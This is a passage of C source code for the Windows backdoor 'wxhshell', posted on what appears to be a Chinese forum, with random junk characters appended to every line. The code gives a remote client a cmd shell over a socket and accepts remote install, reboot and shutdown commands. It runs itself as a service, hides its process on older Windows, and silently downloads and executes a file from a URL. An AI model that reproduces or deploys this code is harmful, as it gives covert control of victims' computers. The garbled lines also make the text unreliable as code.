  send(wsh,msg_ws_err,strlen(msg_ws_err),0); csj 4?]gI  
  else )}1S `*J/O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b_']S0$c\  
  } `c?8i  
  else { t(Gg 1  
n..R'vNj  
    switch(cmd[0]) { !'*1;OQ  
  3Uy(d,N  
  // 帮助 z?  Ck9  
  case '?': { 7',WLuD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); . H9a  
    break; b}J,&eYD  
  } 4%5 +  
  // 安装 k;Ask#rs  
  case 'i': { rT';7>{g  
    if(Install()) {ZKXT8'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c|Fu6LF a  
    else ? u~?:a@K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @P/6NMjZ^  
    break; Vr hd\  
    } |nmt /[  
  // 卸载 ;TulRx]EA  
  case 'r': { 0N):8`dY  
    if(Uninstall()) s3y"y_u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S@cKo&^  
    else (lt{$0   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?wREX[Tqs  
    break; o ^""=Z  
    } 30{WGc@l#  
  // 显示 wxhshell 所在路径 ~2[mZias  
  case 'p': { :(#5%6F  
    char svExeFile[MAX_PATH]; B}^l'p_u  
    strcpy(svExeFile,"\n\r"); Z4369  
      strcat(svExeFile,ExeFile); 2X6L'!=  
        send(wsh,svExeFile,strlen(svExeFile),0); 4D sHUc6  
    break; LN`Y`G|op  
    } USzO):o  
  // 重启 oW3|b2D  
  case 'b': { m-lTXA(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <v3pI!)x  
    if(Boot(REBOOT)) =H8Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R<;;Ph  
    else { t^"8 v3'h  
    closesocket(wsh); Zty9O8g  
    ExitThread(0); 23/;W|   
    } naVbcY  
    break; HM &"2c  
    } 3|=L1Pw#  
  // 关机 g9gi7.'0  
  case 'd': { q,>4#J[2;s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nIGElt]  
    if(Boot(SHUTDOWN)) YR u#JYti  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,$Xhwr  
    else { Lm*PHG  
    closesocket(wsh); \e~5Dx1  
    ExitThread(0); WkDXWv\{,{  
    } E <\\/Q%w  
    break; <aQ5chf7  
    } O3tw@ &k  
  // 获取shell id [caP=`  
  case 's': { d[oHjWk  
    CmdShell(wsh); f7:}t+d  
    closesocket(wsh); ;lf$)3%[  
    ExitThread(0); lPw`KW  
    break; Z6 E_Y?  
  } kY{;(b3Q  
  // 退出 {!^0j{T  
  case 'x': { AA0\C_W0p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .+&M,% x  
    CloseIt(wsh); yaPx=^&  
    break; vrIWw?/z?  
    } j[Gg[7q{y  
  // 离开 |z?c>.  
  case 'q': { fT{%zJU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z/wwe\ a5  
    closesocket(wsh); 3L9@ELY4  
    WSACleanup(); }!N/?A5  
    exit(1); p{AX"|QM"  
    break; e'r-o~1eN  
        } !vq|*8  
  } '<xV]k|v  
  } %H4>k#b@$  
p#6tKY;N  
  // 提示信息 Hz j%G>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +mC?.B2D  
} DA>TT~L  
  } v {) 8QF]  
CI=M0  
  return; ^.c<b_(=h  
} *gOUpbtXa  
NRazI_Z  
// shell模块句柄 (Ta(Y=!uq  
int CmdShell(SOCKET sock) Wpc8T="q  
{ Ll, U>yo  
STARTUPINFO si; X'j9l4Ph7  
ZeroMemory(&si,sizeof(si)); +0) H~ qB\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ijgm-1ECk3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5]zH!>-F  
PROCESS_INFORMATION ProcessInfo; myF/_o&Ty  
char cmdline[]="cmd"; p# |} o9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Sl'{rol'  
  return 0; (U@$gkUx}G  
} 4+MaV<!tU^  
M2I*_pI  
// 自身启动模式 f o idneus  
int StartFromService(void) TQth"Cv2:  
{ cp6I]#X  
typedef struct T\"-q4+=C  
{ (wf3HEb_  
  DWORD ExitStatus; j<)`|?@e(  
  DWORD PebBaseAddress; *W2o$_Hs  
  DWORD AffinityMask; c$x >6&&L  
  DWORD BasePriority; `eeA,K_  
  ULONG UniqueProcessId; Z9eP(ip  
  ULONG InheritedFromUniqueProcessId; 9I(00t_  
}   PROCESS_BASIC_INFORMATION; Y]DC; ,  
q@1xYz:J  
PROCNTQSIP NtQueryInformationProcess; !C ZFbz~:  
}=|plz}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ey% KbvNv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gux?P2f  
Re*_Dt=r  
  HANDLE             hProcess; u:H:N]  
  PROCESS_BASIC_INFORMATION pbi; e xkPu-[W  
 3Hi8=*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6FY.kN\  
  if(NULL == hInst ) return 0; lIPz "  
EI496bsRHm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jZ''0Lclpc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;,s9jw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hii#kB2  
C7K]c4T  
  if (!NtQueryInformationProcess) return 0; Mbn;~tY>  
-q\Rbb5M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g.\%jDM  
  if(!hProcess) return 0; ij1YV2v  
qfjUJ/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rU6A^p\,  
w~yC^`  
  CloseHandle(hProcess); kn/xt  
f~7V<v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k8r1)B4ab  
if(hProcess==NULL) return 0; wNU;gz  
]r'D  
HMODULE hMod; M3r;Pdj2r  
char procName[255]; VOIni<9y  
unsigned long cbNeeded; e^;%w#tEqI  
P3nBxw"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rA E5.Q!u  
|a %Wd  
  CloseHandle(hProcess); VfozqUf  
'8[; m_S  
if(strstr(procName,"services")) return 1; // 以服务启动 Tgh?=]H  
wB&5q!{!  
  return 0; // 注册表启动 Q>71uM%e`  
} BGHZL~  
h1l%\3ZH  
// 主模块 SM8_C!h:  
int StartWxhshell(LPSTR lpCmdLine) >GLoeCRNu  
{ cICf V,j  
  SOCKET wsl; 2[qoqd(  
BOOL val=TRUE; `F3wO!  
  int port=0; E^$8nqCL:  
  struct sockaddr_in door; lQEsa45  
EWQLLH"h  
  if(wscfg.ws_autoins) Install(); Y[H769  
wJ7^)tTRF  
port=atoi(lpCmdLine); ~@(C+3,  
@C^wV  
if(port<=0) port=wscfg.ws_port; (L yKo  
$x,EPRNs  
  WSADATA data; =3`|D0E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,HI% ym  
Io[NN aF|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _3< P(w{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qDU4W7|T`  
  door.sin_family = AF_INET; [P6m8%Y|s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sG)aw`_j  
  door.sin_port = htons(port); jOzi89  
tY: Nq*@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zWH)\>X59  
closesocket(wsl); _,IjB/PR(  
return 1; ib~i ^_p  
} }r@yBUW  
LNyrIk/1  
  if(listen(wsl,2) == INVALID_SOCKET) { tP"6H-)X&  
closesocket(wsl); %M))Ak4 ~a  
return 1; (w:,iw#  
} >239SyC-,  
  Wxhshell(wsl); lRNm &3:-  
  WSACleanup(); iQS,@6  
Js vdC]+  
return 0; `( w"{8laB  
lcy<taNu)  
} j9l32<h7]  
'#h ORQB  
// 以NT服务方式启动 5-y*]:g(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r/HTkXs I  
{ 5+;Mc[V3-  
DWORD   status = 0; IvlfX`("  
  DWORD   specificError = 0xfffffff; |:.Uw\z5'  
5[4nFa}R:5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s]|tKQGl,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 79D~Mau#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qDYNY`  
  serviceStatus.dwWin32ExitCode     = 0; 1U/RMN3`  
  serviceStatus.dwServiceSpecificExitCode = 0; :~#)Xa0I  
  serviceStatus.dwCheckPoint       = 0; W]bgWKd  
  serviceStatus.dwWaitHint       = 0; l#%7BGwzY  
}WaZ+Mdg\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "qd|!:bE  
  if (hServiceStatusHandle==0) return; 9x|`XAB  
C#^y{q  
status = GetLastError(); m C`*#[  
  if (status!=NO_ERROR) Y;%LwDC  
{ )Jdku}Pf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d~QM@<SV  
    serviceStatus.dwCheckPoint       = 0; w;j<$<4=7  
    serviceStatus.dwWaitHint       = 0; >TY;l3ew  
    serviceStatus.dwWin32ExitCode     = status; _> x}MW+  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0y+^{@lU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G"OP`OMDc  
    return; b9m`y*My  
  } GqR|hg  
o-7{\%+M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s\pukpf@  
  serviceStatus.dwCheckPoint       = 0; p6K~b  
  serviceStatus.dwWaitHint       = 0; &(A#F[ =0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,[zSz8R  
}  WZY+c  
(RV#piM  
// 处理NT服务事件,比如:启动、停止 s1[&WDedM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NjpWK ;L  
{ u[Kz^ga<  
switch(fdwControl) vdC0tax  
{ [l3\0e6-/  
case SERVICE_CONTROL_STOP: B^r?N-Z A  
  serviceStatus.dwWin32ExitCode = 0; ;?tH8jf>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K) fKL   
  serviceStatus.dwCheckPoint   = 0; @j_o CDS  
  serviceStatus.dwWaitHint     = 0; {+=hYB|&  
  { P.C?/7$7Z+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |Z{#DOT  
  } ?d^6ynzn  
  return; Nr~!5XO  
case SERVICE_CONTROL_PAUSE: _uLpU4# ?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BDvkY  
  break; ,]7ouH$H}  
case SERVICE_CONTROL_CONTINUE: <%Nf"p{K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t(6]j#5   
  break; }DS%?6}Sy  
case SERVICE_CONTROL_INTERROGATE: GIH{tr1:<  
  break; wT\BA'VQ  
}; 't&1y6Uu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \t&! &R#  
} k6&~)7 -f  
 Ux*xz|^  
// 标准应用程序主函数 ]vvA]e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R6od{#5H$  
{ N%}J:w  
grzmW4Cw  
// 获取操作系统版本 <)wLxWalF  
OsIsNt=GetOsVer(); dGm%If9P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \}v@!PQl  
@jm+TW  
  // 从命令行安装 @n?"*B  
  if(strpbrk(lpCmdLine,"iI")) Install(); 41<h|WA  
z$R&u=J  
  // 下载执行文件 ;mQ|+|F6X  
if(wscfg.ws_downexe) { ))f@9m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g:ky;-G8b  
  WinExec(wscfg.ws_filenam,SW_HIDE); -0kMh.JYR  
} $<nRW*d  
R}gdN-941  
if(!OsIsNt) { \efDY[j/  
// 如果时win9x,隐藏进程并且设置为注册表启动 S',h*e  
HideProc(); cB){b'WJ  
StartWxhshell(lpCmdLine); tjwf;g}$  
} |ugdl|f  
else SyVXXk 0  
  if(StartFromService()) #%@bZ f  
  // 以服务方式启动 oSD=3DQ;  
  StartServiceCtrlDispatcher(DispatchTable); m(U.BXo  
else JCn HEH  
  // 普通方式启动 npltsK):  
  StartWxhshell(lpCmdLine); A{ T9-f@X  
YiO}"  
return 0; UTh2? Rh/  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五